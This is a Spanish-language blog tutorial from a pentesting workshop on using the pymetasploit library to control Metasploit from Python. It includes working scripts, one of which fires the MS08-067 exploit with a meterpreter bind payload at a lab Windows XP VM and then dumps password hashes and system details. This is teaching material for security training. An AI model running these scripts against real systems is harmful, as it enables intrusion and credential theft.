Pymetasploit – Taller de Python

Una vez pasada la conferencia Sec/Admin, después del trabajo realizado y descansar durante las fiestas, toca retomar artículos y seguir escribiendo en este blog. En este artículo hablaremos sobre una parte del taller que impartí en la conferencia de este año. El taller se titula “Al Ataque con Python” y trata fundamentalmente de programación en lenguaje Python, en él se vieron algunas librerías para realizar tareas de pentesting. En este artículo hablaremos sobre las librerías pymetasploit y su uso básico.

Pymetasploit son unas librerías para Python con las que podemos interactuar con el demonio msfrpcd. La API RPC te permite manejar metasploit y consultar la base de datos, cargar módulos, ejecutar exploits y demás de forma remota. Gracias a esto podemos manejar metasploit con herramientas externas, por ejemplo con las librerías de las que trata este post, o armitage, que también usa msfrpcd para interactuar con metasploit.

Instalación de Pymetasploit

Para instalar pymetasploit podemos hacerlo de varias formas. Con pip usaremos el comando “pip install pymetasploit” y no necesitaremos nada más. También podemos descargarlo del git e instalarlo con el archivo setup.py

Recuerda tener instalado metasploit framework en la máquina donde vayas a usar pymetasploit. Para el taller usé una máquina virtual Kali Linux que incluye Metasploit instalado por defecto.

Uso básico de Pymetasploit

Para comenzar arrancaremos el daemon con el siguiente comando:

msfrpcd -U msf -P test -f

Una vez haya iniciado, nos disponemos a abrir el siguiente script:

 

from metasploit.msfrpc import MsfRpcClient

#msfrpcd -U msf -P test -f
cli = MsfRpcClient(username="msf", password="test")
lista = cli.modules.exploits
for m in lista:
    if "windows" in m:
        if "smb" in m:
            print m

Como podemos ver en el script anterior, asignamos a la variable cli el objeto MsfRpcClient con el usuario y la contraseña con que hemos iniciado el daemon msfrpcd.

En la variable lista almacenamos la lista de exploits sacada del objeto cli, el siguiente paso es crear un bucle for que itere todos los elementos de la lista. Dentro de este bucle he metido dos condicionales para que sólo muestre por pantalla los exploits que tengan coincidencias con las palabras “windows” y “smb”.

Ejecutaremos este script en la consola con el comando: “python ejemplo.py”

Para el segundo ejemplo daremos un paso más y seleccionaremos el exploit.

from metasploit.msfrpc import MsfRpcClient
#import time

#msfrpcd -U msf -P test -f
cli = MsfRpcClient(username="msf", password="test")
lista = cli.modules.exploits
exploit = cli.modules.use('exploit', 'windows/smb/ms08_067_netapi')
print exploit.description
print exploit.required

En esta ocasión almacenamos en “exploit” el objeto “cli” con el modulo que vayamos a usar, en este caso nos vamos a los módulos de exploits y seleccionamos un viejo conocido que usamos anteriormente en este post, el ms08_067_netapi. El script imprime por pantalla la descripcion y los parámetros requeridos.

Atacando con Pymetasploit

Ahora estamos listos para lanzar el exploit a nuestro entorno de pruebas, en este caso he preparado una máquina virtual con Windows XP Service Pack 3 y he deshabilitado el firewall.

Os dejo el script a continuación:

 

from metasploit.msfrpc import MsfRpcClient
import time


def save(contenido):
    narchivo = ("resultado-" + time.strftime("%Y-%m-%d_%H:%M") +
    ".txt")
    file = open(narchivo, "w")
    file.write(contenido)
    print "Resultado guardado en " + narchivo



#msfrpcd -U msf -P test -f
ip_remota = '192.168.1.208'
cli = MsfRpcClient(username="msf", password="test")
lista = cli.modules.exploits
exploit = cli.modules.use('exploit', 'windows/smb/ms08_067_netapi')
exploit['RHOST'] = ip_remota
exploit.execute(payload='windows/meterpreter/bind_tcp')
#print cli.sessions.list
if not cli.sessions.list:
    print 'no hay sesiones activas aun'
else:
    print cli.sessions
    shell = cli.sessions.session(1)
    shell.write("hashdump")
    buff = shell.read()
    shell.write("ipconfig")
    buff += shell.read()
    shell.write("webcam_list")
    buff += shell.read()
    shell.write("idletime")
    buff += shell.read()
    print buff
    save(buff)

Configurar las opciones del exploit es bastante sencillo, lo único a tener en cuenta es que el payload se lo pasamos como parámetro de entrada a la función execute(), en este caso he usado una shell directa de meterpreter.

A continuación, si hay una sesión activa, interactuamos con la sesión de meterpreter. Para ello usamos la función write() y le pasamos como parámetro de entrada un string con la instrucción para “meterpreter”, una vez enviada, tenemos que salvar la respuesta en una variable con la función read(), yo en este caso a la variable “buff” le voy añadiendo los read() que voy haciendo para finalmente imprimir esa variable por pantalla. Si buscáis todos los comandos de meterpreter, mirad en este enlace.

Ahora podemos comenzar a desarrollar scripts simples que permitan usar toda la potencia de metasploit desde unas simples líneas de código en Python.